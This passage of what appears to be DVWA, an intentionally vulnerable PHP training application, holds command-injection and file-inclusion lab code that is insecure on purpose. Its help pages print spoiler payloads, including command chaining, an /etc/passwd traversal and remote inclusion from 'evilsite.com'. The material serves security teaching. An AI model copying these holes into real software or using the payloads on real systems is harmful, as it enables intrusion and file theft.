from a trusted source\r\n\t\t$html .= \"<pre>That request didn't look correct.</pre>\";\r\n\t}\r\n\r\n\t((is_null($___mysqli_res = mysqli_close($GLOBALS[\"___mysqli_ston\"]))) ? false : $___mysqli_res);\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/csrf/test_credentials.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\ndvwaDatabaseConnect();\r\n$login_state = \"\";\r\n\r\nif( isset( $_POST[ 'Login' ] ) ) {\r\n\r\n\t$user = $_POST[ 'username' ];\r\n\t$user = stripslashes( $user );\r\n\t$user = mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"], $user);\r\n\r\n\t$pass = $_POST[ 'password' ];\r\n\t$pass = stripslashes( $pass );\r\n\t$pass = mysqli_real_escape_string($GLOBALS[\"___mysqli_ston\"], $pass);\r\n\t$pass = md5( $pass );\r\n\r\n\t$query  = \"SELECT * FROM `users` WHERE user='$user' AND password='$pass';\";\r\n\t$result = @mysqli_query($GLOBALS[\"___mysqli_ston\"], $query) or die( '<pre>'.  mysqli_connect_error() . '.<br />Try <a href=\"setup.php\">installing again</a>.</pre>' );\r\n\tif( $result && mysqli_num_rows( $result ) == 1 ) {    // Login Successful...\r\n\t\t$login_state = \"<h3 class=\\\"loginSuccess\\\">Valid password for '{$user}'</h3>\";\r\n\t}else{\r\n\t\t// Login failed\r\n\t\t$login_state = \"<h3 class=\\\"loginFail\\\">Wrong password for '{$user}'</h3>\";\r\n\t}\r\n\r\n}\r\n$messagesHtml = messagesPopAllToHtml();\r\n$page = dvwaPageNewGrab();\r\n\r\n$page[ 'title' ] .= \"Test Credentials\";\r\n$page[ 'body' ] .= \"\r\n\t\t<div class=\\\"body_padded\\\">\r\n\t\t\t<h1>Test Credentials</h1>\r\n\t\t\t<h2>Vulnerabilities/CSRF</h2>\r\n\t\t\t<div id=\\\"code\\\">\r\n\t\t\t\t<form action=\\\"\" . DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/csrf/test_credentials.php\\\" method=\\\"post\\\">\r\n\t\t\t\t\t<fieldset>\r\n\t\t\t\t\t\t\" . $login_state . \"\r\n\t\t\t\t\t\t<label for=\\\"user\\\">Username</label><br /> <input type=\\\"text\\\" class=\\\"loginInput\\\" size=\\\"20\\\" name=\\\"username\\\"><br />\r\n\t\t\t\t\t\t<label for=\\\"pass\\\">Password</label><br /> <input type=\\\"password\\\" class=\\\"loginInput\\\" AUTOCOMPLETE=\\\"off\\\" size=\\\"20\\\" name=\\\"password\\\"><br />\r\n\t\t\t\t\t\t<p class=\\\"submit\\\"><input type=\\\"submit\\\" value=\\\"Login\\\" name=\\\"Login\\\"></p>\r\n\t\t\t\t\t</fieldset>\r\n\t\t\t\t</form>\r\n\t\t\t\t{$messagesHtml}\r\n\t\t\t</div>\r\n\t\t</div>\\n\";\r\n\r\ndvwaSourceHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/exec/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - Command Injection</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application.\r\n\t\t\tIn situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it\r\n\t\t\tas any authorized system user. However, commands are executed with the same privileges and environment as the web service has.</p>\r\n\r\n\t\t<p>Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker\r\n\t\t\t(forms, cookies, HTTP headers etc.).</p>\r\n\r\n\t\t<p>The syntax and commands may differ between the Operating Systems (OS), such as Linux and Windows, depending on their desired actions.</p>\r\n\r\n\t\t<p>This attack may also be called \"Remote Command Execution (RCE)\".</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>Remotely, find out the user of the web service on the OS, as well as the machines hostname via RCE.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>This allows for direct input into one of <u>many PHP functions</u> that will execute commands on the OS. It is possible to escape out of the designed command and\r\n\t\t\texecuted unintentional actions.</p>\r\n\t\t<p>This can be done by adding on to the request, \"once the command has executed successfully, run this command\".\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">To add a command \"&&\"</span>. Example: <span class=\"spoiler\">127.0.0.1 && dir</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>The developer has read up on some of the issues with command injection, and placed in various pattern patching to filter the input. However, this isn't enough.</p>\r\n\t\t<p>Various other system syntaxes can be used to break out of the desired command.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">e.g. background the ping command</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>In the high level, the developer goes back to the drawing board and puts in even more pattern to match. But even this isn't enough.</p>\r\n\t\t<p>The developer has either made a slight typo with the filters and believes a certain PHP command will save them from this mistake.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\"><?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.trim.php', 'trim()' ); ?>\r\n\t\t\tremoves all leading & trailing spaces, right?</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>In the impossible level, the challenge has been re-written, only to allow a very stricted input. If this doesn't match and doesn't produce a certain result,\r\n\t\t\tit will not be allowed to execute. Rather than \"black listing\" filtering (allowing any input and removing unwanted), this uses \"white listing\" (only allow certain values).</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/Command_Injection' ); ?></p>\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/exec/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: Command Injection' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'exec';\r\n$page[ 'help_button' ]   = 'exec';\r\n$page[ 'source_button' ] = 'exec';\r\n\r\ndvwaDatabaseConnect();\r\n\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\tbreak;\r\n}\r\n\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/exec/source/{$vulnerabilityFile}\";\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: Command Injection</h1>\r\n\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<h2>Ping a device</h2>\r\n\r\n\t\t<form name=\\\"ping\\\" action=\\\"#\\\" method=\\\"post\\\">\r\n\t\t\t<p>\r\n\t\t\t\tEnter an IP address:\r\n\t\t\t\t<input type=\\\"text\\\" name=\\\"ip\\\" size=\\\"30\\\">\r\n\t\t\t\t<input type=\\\"submit\\\" name=\\\"Submit\\\" value=\\\"Submit\\\">\r\n\t\t\t</p>\\n\";\r\n\r\nif( $vulnerabilityFile == 'impossible.php' )\r\n\t$page[ 'body' ] .= \"\t\t\t\" . tokenField();\r\n\r\n$page[ 'body' ] .= \"\r\n\t\t</form>\r\n\t\t{$html}\r\n\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://www.scribd.com/doc/2530476/Php-Endangers-Remote-Code-Execution' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'http://www.ss64.com/bash/' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'http://www.ss64.com/nt/' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/attacks/Command_Injection' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/exec/source/high.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Submit' ]  ) ) {\r\n\t// Get input\r\n\t$target = trim($_REQUEST[ 'ip' ]);\r\n\r\n\t// Set blacklist\r\n\t$substitutions = array(\r\n\t\t'||' => '',\r\n\t\t'&'  => '',\r\n\t\t';'  => '',\r\n\t\t'| ' => '',\r\n\t\t'-'  => '',\r\n\t\t'$'  => '',\r\n\t\t'('  => '',\r\n\t\t')'  => '',\r\n\t\t'`'  => '',\r\n\t);\r\n\r\n\t// Remove any of the characters in the array (blacklist).\r\n\t$target = str_replace( array_keys( $substitutions ), $substitutions, $target );\r\n\r\n\t// Determine OS and execute the ping command.\r\n\tif( stristr( php_uname( 's' ), 'Windows NT' ) ) {\r\n\t\t// Windows\r\n\t\t$cmd = shell_exec( 'ping  ' . $target );\r\n\t}\r\n\telse {\r\n\t\t// *nix\r\n\t\t$cmd = shell_exec( 'ping  -c 4 ' . $target );\r\n\t}\r\n\r\n\t// Feedback for the end user\r\n\t$html .= \"<pre>{$cmd}</pre>\";\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/exec/source/impossible.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Submit' ]  ) ) {\r\n\t// Check Anti-CSRF token\r\n\tcheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );\r\n\r\n\t// Get input\r\n\t$target = $_REQUEST[ 'ip' ];\r\n\t$target = stripslashes( $target );\r\n\r\n\t// Split the IP into 4 octects\r\n\t$octet = explode( \".\", $target );\r\n\r\n\t// Check IF each octet is an integer\r\n\tif( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {\r\n\t\t// If all 4 octets are int's put the IP back together.\r\n\t\t$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];\r\n\r\n\t\t// Determine OS and execute the ping command.\r\n\t\tif( stristr( php_uname( 's' ), 'Windows NT' ) ) {\r\n\t\t\t// Windows\r\n\t\t\t$cmd = shell_exec( 'ping  ' . $target );\r\n\t\t}\r\n\t\telse {\r\n\t\t\t// *nix\r\n\t\t\t$cmd = shell_exec( 'ping  -c 4 ' . $target );\r\n\t\t}\r\n\r\n\t\t// Feedback for the end user\r\n\t\t$html .= \"<pre>{$cmd}</pre>\";\r\n\t}\r\n\telse {\r\n\t\t// Ops. Let the user name theres a mistake\r\n\t\t$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';\r\n\t}\r\n}\r\n\r\n// Generate Anti-CSRF token\r\ngenerateSessionToken();\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/exec/source/low.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Submit' ]  ) ) {\r\n\t// Get input\r\n\t$target = $_REQUEST[ 'ip' ];\r\n\r\n\t// Determine OS and execute the ping command.\r\n\tif( stristr( php_uname( 's' ), 'Windows NT' ) ) {\r\n\t\t// Windows\r\n\t\t$cmd = shell_exec( 'ping  ' . $target );\r\n\t}\r\n\telse {\r\n\t\t// *nix\r\n\t\t$cmd = shell_exec( 'ping  -c 4 ' . $target );\r\n\t}\r\n\r\n\t// Feedback for the end user\r\n\t$html .= \"<pre>{$cmd}</pre>\";\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/exec/source/medium.php",
    "content": "<?php\r\n\r\nif( isset( $_POST[ 'Submit' ]  ) ) {\r\n\t// Get input\r\n\t$target = $_REQUEST[ 'ip' ];\r\n\r\n\t// Set blacklist\r\n\t$substitutions = array(\r\n\t\t'&&' => '',\r\n\t\t';'  => '',\r\n\t);\r\n\r\n\t// Remove any of the characters in the array (blacklist).\r\n\t$target = str_replace( array_keys( $substitutions ), $substitutions, $target );\r\n\r\n\t// Determine OS and execute the ping command.\r\n\tif( stristr( php_uname( 's' ), 'Windows NT' ) ) {\r\n\t\t// Windows\r\n\t\t$cmd = shell_exec( 'ping  ' . $target );\r\n\t}\r\n\telse {\r\n\t\t// *nix\r\n\t\t$cmd = shell_exec( 'ping  -c 4 ' . $target );\r\n\t}\r\n\r\n\t// Feedback for the end user\r\n\t$html .= \"<pre>{$cmd}</pre>\";\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/fi/file1.php",
    "content": "<?php\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: File Inclusion</h1>\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<h3>File 1</h3>\r\n\t\t<hr />\r\n\t\tHello <em>\" . dvwaCurrentUser() . \"</em><br />\r\n\t\tYour IP address is: <em>{$_SERVER[ 'REMOTE_ADDR' ]}</em><br /><br />\r\n\t\t[<em><a href=\\\"?page=include.php\\\">back</a></em>]\r\n\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/fi/file2.php",
    "content": "<?php\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: File Inclusion</h1>\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<h3>File 2</h3>\r\n\t\t<hr />\r\n\t\t\\\"<em>I needed a password eight characters long so I picked Snow White and the Seven Dwarves.</em>\\\" ~ Nick Helm<br /><br />\r\n\t\t[<em><a href=\\\"?page=include.php\\\">back</a></em>]\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/fi/file3.php",
    "content": "<?php\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: File Inclusion</h1>\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<h3>File 3</h3>\r\n\t\t<hr />\r\n\t\tWelcome back <em>\" . dvwaCurrentUser() . \"</em><br />\r\n\t\tYour IP address is: <em>{$_SERVER[ 'REMOTE_ADDR' ]}</em><br />\";\r\nif( array_key_exists( 'HTTP_X_FORWARDED_FOR', $_SERVER )) {\r\n\t$page[ 'body' ] .= \"Forwarded for: <em>\" . $_SERVER[ 'HTTP_X_FORWARDED_FOR' ];\r\n\t$page[ 'body' ] .= \"</em><br />\";\r\n}\r\n\t\t$page[ 'body' ] .= \"Your user-agent address is: <em>{$_SERVER[ 'HTTP_USER_AGENT' ]}</em><br />\";\r\nif( array_key_exists( 'HTTP_REFERER', $_SERVER )) {\r\n\t\t$page[ 'body' ] .= \"You came from: <em>{$_SERVER[ 'HTTP_REFERER' ]}</em><br />\";\r\n}\r\n\t\t$page[ 'body' ] .= \"I'm hosted at: <em>{$_SERVER[ 'HTTP_HOST' ]}</em><br /><br />\r\n\t\t[<em><a href=\\\"?page=include.php\\\">back</a></em>]\r\n\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/fi/file4.php",
    "content": "<?php\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: File Inclusion</h1>\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t<h3>File 4 (Hidden)</h3>\r\n\t\t<hr />\r\n\t\tGood job!<br />\r\n\t\tThis file isn't listed at all on DVWA. If you are reading this, you did something right ;-)<br />\r\n\t\t<!-- You did an even better job to see this :-)! -->\r\n</div>\\n\";\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/fi/help/help.php",
    "content": "<div class=\"body_padded\">\r\n\t<h1>Help - File Inclusion</h1>\r\n\r\n\t<div id=\"code\">\r\n\t<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">\r\n\t<tr>\r\n\t<td><div id=\"code\">\r\n\t\t<h3>About</h3>\r\n\t\t<p>Some web applications allow the user to specify input that is used directly into file streams or allows the user to upload files to the server.\r\n\t\t\tAt a later time the web application accesses the user supplied input in the web applications context. By doing this, the web application is allowing\r\n\t\t\tthe potential for malicious file execution.</p>\r\n\r\n\t\t<p>If the file chosen to be included is local on the target machine, it is called \"Local File Inclusion (LFI). But files may also be included on other\r\n\t\t\tmachines, which then the attack is a \"Remote File Inclusion (RFI).</p>\r\n\r\n\t\t<p>When RFI is not an option. using another vulnerability with LFI (such as file upload and directory traversal) can often achieve the same effect.</p>\r\n\r\n\t\t<p>Note, the term \"file inclusion\" is not the same as \"arbitrary file access\" or \"file disclosure\".</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Objective</h3>\r\n\t\t<p>Read all <u>five</u> famous quotes from '<a href=\"../hackable/flags/fi.php\">../hackable/flags/fi.php</a>' using only the file inclusion.</p>\r\n\r\n\t\t<br /><hr /><br />\r\n\r\n\t\t<h3>Low Level</h3>\r\n\t\t<p>This allows for direct input into <u>one of many PHP functions</u> that will include the content when executing.</p>\r\n\r\n\t\t<p>Depending on the web service configuration will depend if RFI is a possibility.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">LFI: ?page=../../../../../../etc/passwd</span>.\r\n\t\t\tSpoiler: <span class=\"spoiler\">RFI: ?page=http://www.evilsite.com/evil.php</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Medium Level</h3>\r\n\t\t<p>The developer has read up on some of the issues with LFI/RFI, and decided to filter the input. However, the patterns that are used, isn't enough.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">LFI: Possible, due to it only cycling through the pattern matching once</span>.\r\n\t\t\tSpoiler: <span class=\"spoiler\">RFI: <?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/wrappers.php', 'PHP Streams' ); ?></span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>High Level</h3>\r\n\t\t<p>The developer has had enough. They decided to only allow certain files to be used. However as there are multiple files with the same basename,\r\n\t\t\tthey use a wildcard to include them all.</p>\r\n\t\t<pre>Spoiler: <span class=\"spoiler\">LFI: The filename only has start with a certain value.</span>.\r\n\t\t\tSpoiler: <span class=\"spoiler\">RFI: Need to link in another vulnerability, such as file upload</span>.</pre>\r\n\r\n\t\t<br />\r\n\r\n\t\t<h3>Impossible Level</h3>\r\n\t\t<p>The developer calls it quits and hardcodes only the allowed pages, with there exact filenames. By doing this, it removes all avenues of attack.</p>\r\n\t</div></td>\r\n\t</tr>\r\n\t</table>\r\n\r\n\t</div>\r\n\r\n\t<br />\r\n\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ); ?></p>\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ); ?></p>\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ); ?></p>\r\n\t<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://owasp.org/www-community/vulnerabilities/PHP_File_Inclusion', 'PHP File Inclusion' ); ?></p>\r\n\r\n</div>\r\n"
  },
  {
    "path": "vulnerabilities/fi/include.php",
    "content": "<?php\r\n\r\n// Check if the right PHP functions are enabled\r\n$WarningHtml = '';\r\nif( !ini_get( 'allow_url_include' ) ) {\r\n\t$WarningHtml .= \"<div class=\\\"warning\\\">The PHP function <em>allow_url_include</em> is not enabled.</div>\";\r\n}\r\nif( !ini_get( 'allow_url_fopen' ) ) {\r\n\t$WarningHtml .= \"<div class=\\\"warning\\\">The PHP function <em>allow_url_fopen</em> is not enabled.</div>\";\r\n}\r\n\r\n$page[ 'body' ] .= \"\r\n<div class=\\\"body_padded\\\">\r\n\t<h1>Vulnerability: File Inclusion</h1>\r\n\r\n\t<p class='notice'>This lab relies on the PHP <code>include</code> and <code>require</code> functions being able to include content from remote hosts. As this is a security risk, PHP have deprecated this in version 7.4 and it will be removed completely in a future version. If this lab is not working correctly for you, check your PHP version and roll back to version 7.4 if you are on a newer version which has lost the feature.</p>\r\n\t<p class='notice'>You are running PHP version: \" . phpversion() . \"\r\n\t<p><a href='https://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include'>PHP Announcement</a></p>\r\n\r\n\t{$WarningHtml}\r\n\r\n\t<div class=\\\"vulnerable_code_area\\\">\r\n\t\t[<em><a href=\\\"?page=file1.php\\\">file1.php</a></em>] - [<em><a href=\\\"?page=file2.php\\\">file2.php</a></em>] - [<em><a href=\\\"?page=file3.php\\\">file3.php</a></em>]\r\n\t</div>\r\n\r\n\t<h2>More Information</h2>\r\n\t<ul>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . \"</li>\r\n\t\t<li>\" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . \"</li>\r\n\t</ul>\r\n</div>\\n\";\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/fi/index.php",
    "content": "<?php\r\n\r\ndefine( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';\r\n\r\ndvwaPageStartup( array( 'authenticated' ) );\r\n\r\n$page = dvwaPageNewGrab();\r\n$page[ 'title' ]   = 'Vulnerability: File Inclusion' . $page[ 'title_separator' ].$page[ 'title' ];\r\n$page[ 'page_id' ] = 'fi';\r\n$page[ 'help_button' ]   = 'fi';\r\n$page[ 'source_button' ] = 'fi';\r\n\r\ndvwaDatabaseConnect();\r\n\r\n$vulnerabilityFile = '';\r\nswitch( dvwaSecurityLevelGet() ) {\r\n\tcase 'low':\r\n\t\t$vulnerabilityFile = 'low.php';\r\n\t\tbreak;\r\n\tcase 'medium':\r\n\t\t$vulnerabilityFile = 'medium.php';\r\n\t\tbreak;\r\n\tcase 'high':\r\n\t\t$vulnerabilityFile = 'high.php';\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t$vulnerabilityFile = 'impossible.php';\r\n\t\tbreak;\r\n}\r\n\r\nrequire_once DVWA_WEB_PAGE_TO_ROOT . \"vulnerabilities/fi/source/{$vulnerabilityFile}\";\r\n\r\n// if( count( $_GET ) )\r\nif( isset( $file ) )\r\n\tinclude( $file );\r\nelse {\r\n\theader( 'Location:?page=include.php' );\r\n\texit;\r\n}\r\n\r\ndvwaHtmlEcho( $page );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/fi/source/high.php",
    "content": "<?php\r\n\r\n// The page we wish to display\r\n$file = $_GET[ 'page' ];\r\n\r\n// Input validation\r\nif( !fnmatch( \"file*\", $file ) && $file != \"include.php\" ) {\r\n\t// This isn't the page we want!\r\n\techo \"ERROR: File not found!\";\r\n\texit;\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/fi/source/impossible.php",
    "content": "<?php\r\n\r\n// The page we wish to display\r\n$file = $_GET[ 'page' ];\r\n\r\n// Only allow include.php or file{1..3}.php\r\n$configFileNames = [\r\n    'include.php',\r\n    'file1.php',\r\n    'file2.php',\r\n    'file3.php',\r\n];\r\n\r\nif( !in_array($file, $configFileNames) ) {\r\n    // This isn't the page we want!\r\n    echo \"ERROR: File not found!\";\r\n    exit;\r\n}\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/fi/source/low.php",
    "content": "<?php\r\n\r\n// The page we wish to display\r\n$file = $_GET[ 'page' ];\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/fi/source/medium.php",
    "content": "<?php\r\n\r\n// The page we wish to display\r\n$file = $_GET[ 'page' ];\r\n\r\n// Input validation\r\n$file = str_replace( array( \"http://\", \"https://\" ), \"\", $file );\r\n$file = str_replace( array( \"../\", \"..\\\\\" ), \"\", $file );\r\n\r\n?>\r\n"
  },
  {
    "path": "vulnerabilities/help.css",
    "content": "#low_answer,#medium_answer,#high_answer {\n\tdisplay: none;\n}\n"
  },
  {
    "path": "vulnerabilities/help.js",
    "content": "function show_answer(which) {\n\tvar block = document.getElementById(which + \"_answer\");\n\tvar button = document.getElementById(which + \"_button\");\n\tif (block.style.display === \"\" || block.style.display === \"none\") {\n\t\tblock.style.display = \"block\";\n\t\tbutton.innerText = \"Hide Answer\";\n\t} else {\n\t\tblock.style.display = \"none\";\n\t\tbutton.innerText = \"Show Answer\";\n\t}\n}\n"
  },
  {
    "path": "vulnerabilities/javascript/help/help.php",
    "content": "<div class=\"body_padded\">\n\t<h1>Help - Client Side JavaScript</h1>\n\n\t<div id=\"code\" style=\"padding: 3px; border: 2px #C0C0C0 solid;>\">\n\t\t<h3>About</h3>\n\t\t<p>The attacks in this section are designed to help you learn about how JavaScript is used in the browser and how it can be manipulated. The attacks could be carried out by just analysing network traffic, but that isn't the point and it would also probably be a lot harder.</p>\n\n\t\t<hr />\n\t\t\n\t\t<h3>Objective</h3>\n\t\t<p>Simply submit the phrase \"success\" to win the level. Obviously, it isn't quite that easy, each level implements different protection mechanisms, the JavaScript included in the pages has to be analysed and then manipulated to bypass the protections.</p>\n\n\t\t<hr />\n\t\t<h3>Low Level</h3>\n\t\t<p>All the JavaScript is included in the page. Read the source and work out what function is being used to generate the token required to match with the phrase and then call the function manually.</p>\n\t\t<pre>Spoiler: <span class=\"spoiler\">Change the phrase to success and then use the function generate_token() to update the token.</span></pre>\n\n\t\t<p><br /></p>\n\n\t\t<h3>Medium Level</h3>\n\t\t<p>\n\t\t\tThe JavaScript has been broken out into its own file and then minimized. You need to view the 